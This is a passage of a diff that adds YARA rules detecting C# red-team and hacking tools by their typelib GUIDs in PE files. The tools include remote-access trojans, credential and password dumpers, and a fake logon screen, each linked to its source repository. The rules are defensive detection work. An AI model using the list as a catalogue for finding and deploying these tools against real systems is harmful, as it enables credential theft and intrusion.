+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "e5bde5a9-8e09-59ce-ad01-e29836813cf8"
+    strings:
+        $typelibguid0lo = "2963c954-7b1e-47f5-b4fa-2fc1f0d56aea" ascii wide
+        $typelibguid0up = "2963C954-7B1E-47F5-B4FA-2FC1F0D56AEA" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpLocker {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/Pickfordmatt/SharpLocker"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "9525422a-d670-5475-abdc-b7ecd1ab9943"
+    strings:
+        $typelibguid0lo = "a6f8500f-68bc-4efc-962a-6c6e68d893af" ascii wide
+        $typelibguid0up = "A6F8500F-68BC-4EFC-962A-6C6E68D893AF" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SauronEye {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/vivami/SauronEye"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "3b624dde-a63e-58ac-a4db-af931f1d8553"
+    strings:
+        $typelibguid0lo = "0f43043d-8957-4ade-a0f4-25c1122e8118" ascii wide
+        $typelibguid0up = "0F43043D-8957-4ADE-A0F4-25C1122E8118" ascii wide
+        $typelibguid1lo = "086bf0ca-f1e4-4e8f-9040-a8c37a49fa26" ascii wide
+        $typelibguid1up = "086BF0CA-F1E4-4E8F-9040-A8C37A49FA26" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_sitrep {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/mdsecactivebreach/sitrep"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "5f2ac63e-4be1-520c-82b1-1957027a63e2"
+    strings:
+        $typelibguid0lo = "12963497-988f-46c0-9212-28b4b2b1831b" ascii wide
+        $typelibguid0up = "12963497-988F-46C0-9212-28B4B2B1831B" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpClipboard {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/slyd0g/SharpClipboard"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "fd1b7786-8853-5858-ab03-da350e44f738"
+    strings:
+        $typelibguid0lo = "97484211-4726-4129-86aa-ae01d17690be" ascii wide
+        $typelibguid0up = "97484211-4726-4129-86AA-AE01D17690BE" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpCookieMonster {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/m0rv4i/SharpCookieMonster"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "87be6949-f4f5-5a5a-b804-c627ed0f4355"
+    strings:
+        $typelibguid0lo = "566c5556-1204-4db9-9dc8-a24091baaa8e" ascii wide
+        $typelibguid0up = "566C5556-1204-4DB9-9DC8-A24091BAAA8E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_p0wnedShell {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/Cn33liz/p0wnedShell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "390b94d1-dda9-5a85-80ae-c79a3f7b0b9d"
+    strings:
+        $typelibguid0lo = "2e9b1462-f47c-48ca-9d85-004493892381" ascii wide
+        $typelibguid0up = "2E9B1462-F47C-48CA-9D85-004493892381" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpMove {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/0xthirteen/SharpMove"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "e52392f9-614c-596e-8efd-aa0a2fa44e60"
+    strings:
+        $typelibguid0lo = "8bf82bbe-909c-4777-a2fc-ea7c070ff43e" ascii wide
+        $typelibguid0up = "8BF82BBE-909C-4777-A2FC-EA7C070FF43E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_C_Sharp_R_A_T_Client {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "f5df8257-d202-58e3-9c4a-1dfc9dd52f2a"
+    strings:
+        $typelibguid0lo = "6d9e8852-e86c-4e36-9cb4-b3c3853ed6b8" ascii wide
+        $typelibguid0up = "6D9E8852-E86C-4E36-9CB4-B3C3853ED6B8" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpPrinter {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/rvrsh3ll/SharpPrinter"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "10270351-ad80-5330-971b-bc8f635f05f4"
+    strings:
+        $typelibguid0lo = "41b2d1e5-4c5d-444c-aa47-629955401ed9" ascii wide
+        $typelibguid0up = "41B2D1E5-4C5D-444C-AA47-629955401ED9" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_EvilFOCA {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/ElevenPaths/EvilFOCA"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "2b2f5f6f-4224-5013-9e85-0ac088826bea"
+    strings:
+        $typelibguid0lo = "f26bdb4a-5846-4bec-8f52-3c39d32df495" ascii wide
+        $typelibguid0up = "F26BDB4A-5846-4BEC-8F52-3C39D32DF495" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_PoshC2_Misc {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/nettitude/PoshC2_Misc"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "245803cb-63d8-5c75-b672-912091cf4a80"
+    strings:
+        $typelibguid0lo = "85773eb7-b159-45fe-96cd-11bad51da6de" ascii wide
+        $typelibguid0up = "85773EB7-B159-45FE-96CD-11BAD51DA6DE" ascii wide
+        $typelibguid1lo = "9d32ad59-4093-420d-b45c-5fff391e990d" ascii wide
+        $typelibguid1up = "9D32AD59-4093-420D-B45C-5FFF391E990D" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Sharpire {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/0xbadjuju/Sharpire"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "32bdaa0f-3afc-5e0e-a20f-e21f33909af7"
+    strings:
+        $typelibguid0lo = "39b75120-07fe-4833-a02e-579ff8b68331" ascii wide
+        $typelibguid0up = "39B75120-07FE-4833-A02E-579FF8B68331" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Sharp_SMBExec {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/checkymander/Sharp-SMBExec"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "6a1024af-734c-5974-af50-db51dbd694ff"
+    strings:
+        $typelibguid0lo = "344ee55a-4e32-46f2-a003-69ad52b55945" ascii wide
+        $typelibguid0up = "344EE55A-4E32-46F2-A003-69AD52B55945" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_MiscTools {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/rasta-mouse/MiscTools"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "ce49cc7b-a5a5-52b7-a7bf-bbb0c5b29b8a"
+    strings:
+        $typelibguid0lo = "384e9647-28a9-4835-8fa7-2472b1acedc0" ascii wide
+        $typelibguid0up = "384E9647-28A9-4835-8FA7-2472B1ACEDC0" ascii wide
+        $typelibguid1lo = "d7ec0ef5-157c-4533-bbcd-0fe070fbf8d9" ascii wide
+        $typelibguid1up = "D7EC0EF5-157C-4533-BBCD-0FE070FBF8D9" ascii wide
+        $typelibguid2lo = "10085d98-48b9-42a8-b15b-cb27a243761b" ascii wide
+        $typelibguid2up = "10085D98-48B9-42A8-B15B-CB27A243761B" ascii wide
+        $typelibguid3lo = "6aacd159-f4e7-4632-bad1-2ae8526a9633" ascii wide
+        $typelibguid3up = "6AACD159-F4E7-4632-BAD1-2AE8526A9633" ascii wide
+        $typelibguid4lo = "49a6719e-11a8-46e6-ad7a-1db1be9fea37" ascii wide
+        $typelibguid4up = "49A6719E-11A8-46E6-AD7A-1DB1BE9FEA37" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_MemoryMapper {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/jasondrawdy/MemoryMapper"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "c978be10-315c-54e7-afea-f97e9a5f2d18"
+    strings:
+        $typelibguid0lo = "b9fbf3ac-05d8-4cd5-9694-b224d4e6c0ea" ascii wide
+        $typelibguid0up = "B9FBF3AC-05D8-4CD5-9694-B224D4E6C0EA" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_VanillaRAT {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/DannyTheSloth/VanillaRAT"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "9448e8d0-5bfc-5683-b633-284e43d24642"
+    strings:
+        $typelibguid0lo = "d0f2ee67-0a50-423d-bfe6-845da892a2db" ascii wide
+        $typelibguid0up = "D0F2EE67-0A50-423D-BFE6-845DA892A2DB" ascii wide
+        $typelibguid1lo = "a593fcd2-c8ab-45f6-9aeb-8ab5e20ab402" ascii wide
+        $typelibguid1up = "A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_UnmanagedPowerShell {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/leechristensen/UnmanagedPowerShell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "49ff1362-0ac5-580d-97f3-516f2a10072b"
+    strings:
+        $typelibguid0lo = "dfc4eebb-7384-4db5-9bad-257203029bd9" ascii wide
+        $typelibguid0up = "DFC4EEBB-7384-4DB5-9BAD-257203029BD9" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Quasar {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/quasar/Quasar"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "b938cf7d-27fd-5fa2-b0e5-d4da5670f3ef"
+    strings:
+        $typelibguid0lo = "cfda6d2e-8ab3-4349-b89a-33e1f0dab32b" ascii wide
+        $typelibguid0up = "CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B" ascii wide
+        $typelibguid1lo = "c7c363ba-e5b6-4e18-9224-39bc8da73172" ascii wide
+        $typelibguid1up = "C7C363BA-E5B6-4E18-9224-39BC8DA73172" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpAdidnsdump {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/b4rtik/SharpAdidnsdump"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "51d50b22-4e73-5378-9e0d-ad7730987293"
+    strings:
+        $typelibguid0lo = "cdb02bc2-5f62-4c8a-af69-acc3ab82e741" ascii wide
+        $typelibguid0up = "CDB02BC2-5F62-4C8A-AF69-ACC3AB82E741" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DotNetToJScript {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/tyranid/DotNetToJScript"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "31827074-fc63-5690-b6c7-8e89daacc07f"
+    strings:
+        $typelibguid0lo = "7e3f231c-0d0b-4025-812c-0ef099404861" ascii wide
+        $typelibguid0up = "7E3F231C-0D0B-4025-812C-0EF099404861" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Inferno {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/LimerBoy/Inferno"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "af2d9832-c7f9-5879-a19b-a3c4d91b8b3f"
+    strings:
+        $typelibguid0lo = "26d498f7-37ae-476c-97b0-3761e3a919f0" ascii wide
+        $typelibguid0up = "26D498F7-37AE-476C-97B0-3761E3A919F0" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpSearch {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/djhohnstein/SharpSearch"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "459d8a34-f311-5459-8257-e7aa519174b5"
+    strings:
+        $typelibguid0lo = "98fee742-8410-4f20-8b2d-d7d789ab003d" ascii wide
+        $typelibguid0up = "98FEE742-8410-4F20-8B2D-D7D789AB003D" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpSecDump {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/G0ldenGunSec/SharpSecDump"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "492dfb79-541a-589d-ac69-468e9b2ab9db"
+    strings:
+        $typelibguid0lo = "e2fdd6cc-9886-456c-9021-ee2c47cf67b7" ascii wide
+        $typelibguid0up = "E2FDD6CC-9886-456C-9021-EE2C47CF67B7" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Net_GPPPassword {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/outflanknl/Net-GPPPassword"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "a718f9fc-acf5-536e-81d6-d393cebe8f77"
+    strings:
+        $typelibguid0lo = "00fcf72c-d148-4dd0-9ca4-0181c4bd55c3" ascii wide
+        $typelibguid0up = "00FCF72C-D148-4DD0-9CA4-0181C4BD55C3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_FileSearcher {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NVISO-BE/FileSearcher"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "1b5f1f68-f87b-5e60-94a4-e2556b4e6c5d"
+    strings:
+        $typelibguid0lo = "2c879479-5027-4ce9-aaac-084db0e6d630" ascii wide
+        $typelibguid0up = "2C879479-5027-4CE9-AAAC-084DB0E6D630" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ADFSDump {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/fireeye/ADFSDump"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "8cb2edcd-3696-5857-90ca-e99b1af54320"
+    strings:
+        $typelibguid0lo = "9ee27d63-6ac9-4037-860b-44e91bae7f0d" ascii wide
+        $typelibguid0up = "9EE27D63-6AC9-4037-860B-44E91BAE7F0D" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpRDP {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/0xthirteen/SharpRDP"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "d316ec0b-0313-52bb-923d-512fa08112f9"
+    strings:
+        $typelibguid0lo = "f1df1d0f-ff86-4106-97a8-f95aaf525c54" ascii wide
+        $typelibguid0up = "F1DF1D0F-FF86-4106-97A8-F95AAF525C54" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpCall {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/jhalon/SharpCall"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "172415b6-0383-5da4-a88f-8ebe5daf9294"
+    strings:
+        $typelibguid0lo = "c1b0a923-0f17-4bc8-ba0f-c87aff43e799" ascii wide
+        $typelibguid0up = "C1B0A923-0F17-4BC8-BA0F-C87AFF43E799" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ysoserial_net {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/pwntester/ysoserial.net"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "80483cd4-76e6-5629-bed7-4ae2e455222c"
+    strings:
+        $typelibguid0lo = "e1e8c029-f7cd-4bd1-952e-e819b41520f0" ascii wide
+        $typelibguid0up = "E1E8C029-F7CD-4BD1-952E-E819B41520F0" ascii wide
+        $typelibguid1lo = "6b40fde7-14ea-4f57-8b7b-cc2eb4a25e6c" ascii wide
+        $typelibguid1up = "6B40FDE7-14EA-4F57-8B7B-CC2EB4A25E6C" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ManagedInjection {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/malcomvetter/ManagedInjection"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "c66e7666-b54f-532d-90e1-870292047aec"
+    strings:
+        $typelibguid0lo = "e5182bff-9562-40ff-b864-5a6b30c3b13b" ascii wide
+        $typelibguid0up = "E5182BFF-9562-40FF-B864-5A6B30C3B13B" ascii wide
+        $typelibguid1lo = "fdedde0d-e095-41c9-93fb-c2219ada55b1" ascii wide
+        $typelibguid1up = "FDEDDE0D-E095-41C9-93FB-C2219ADA55B1" ascii wide
+        $typelibguid2lo = "0dd00561-affc-4066-8c48-ce950788c3c8" ascii wide
+        $typelibguid2up = "0DD00561-AFFC-4066-8C48-CE950788C3C8" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpSocks {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/nettitude/SharpSocks"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "343061d9-e24e-5d49-939f-b94c295b17ac"
+    strings:
+        $typelibguid0lo = "2f43992e-5703-4420-ad0b-17cb7d89c956" ascii wide
+        $typelibguid0up = "2F43992E-5703-4420-AD0B-17CB7D89C956" ascii wide
+        $typelibguid1lo = "86d10a34-c374-4de4-8e12-490e5e65ddff" ascii wide
+        $typelibguid1up = "86D10A34-C374-4DE4-8E12-490E5E65DDFF" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Sharp_WMIExec {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/checkymander/Sharp-WMIExec"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "ae08a5a2-06d5-55fe-803a-7f4696220904"
+    strings:
+        $typelibguid0lo = "0a63b0a1-7d1a-4b84-81c3-bbbfe9913029" ascii wide
+        $typelibguid0up = "0A63B0A1-7D1A-4B84-81C3-BBBFE9913029" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_KeeThief {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/GhostPack/KeeThief"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "71fef0e9-223a-5834-9d1c-f3fb8b66a809"
+    strings:
+        $typelibguid1lo = "39aa6f93-a1c9-497f-bad2-cc42a61d5710" ascii wide
+        $typelibguid1up = "39AA6F93-A1C9-497F-BAD2-CC42A61D5710" ascii wide
+        $typelibguid3lo = "3fca8012-3bad-41e4-91f4-534aa9a44f96" ascii wide
+        $typelibguid3up = "3FCA8012-3BAD-41E4-91F4-534AA9A44F96" ascii wide
+        $typelibguid4lo = "ea92f1e6-3f34-48f8-8b0a-f2bbc19220ef" ascii wide
+        $typelibguid4up = "EA92F1E6-3F34-48F8-8B0A-F2BBC19220EF" ascii wide
+        $typelibguid5lo = "c23b51c4-2475-4fc6-9b3a-27d0a2b99b0f" ascii wide
+        $typelibguid5up = "C23B51C4-2475-4FC6-9B3A-27D0A2B99B0F" ascii wide
+        /* $typelibguid6 = "94432a8e-3e06-4776-b9b2-3684a62bb96a" ascii nocase wide FIX FPS with Microsoft files */ 
+        $typelibguid7lo = "80ba63a4-7d41-40e9-a722-6dd58b28bf7e" ascii wide
+        $typelibguid7up = "80BA63A4-7D41-40E9-A722-6DD58B28BF7E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_fakelogonscreen {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/bitsadmin/fakelogonscreen"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "cc20290c-3f34-5e81-9337-c582f1ee7ade"
+    strings:
+        $typelibguid0lo = "d35a55bd-3189-498b-b72f-dc798172e505" ascii wide
+        $typelibguid0up = "D35A55BD-3189-498B-B72F-DC798172E505" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_PoshSecFramework {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/PoshSec/PoshSecFramework"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "a91620f3-3f21-525a-bc87-94d21cd126be"
+    strings:
+        $typelibguid0lo = "b1ac6aa0-2f1a-4696-bf4b-0e41cf2f4b6b" ascii wide
+        $typelibguid0up = "B1AC6AA0-2F1A-4696-BF4B-0E41CF2F4B6B" ascii wide
+        $typelibguid1lo = "78bfcfc2-ef1c-4514-bce6-934b251666d2" ascii wide
+        $typelibguid1up = "78BFCFC2-EF1C-4514-BCE6-934B251666D2" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpAttack {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
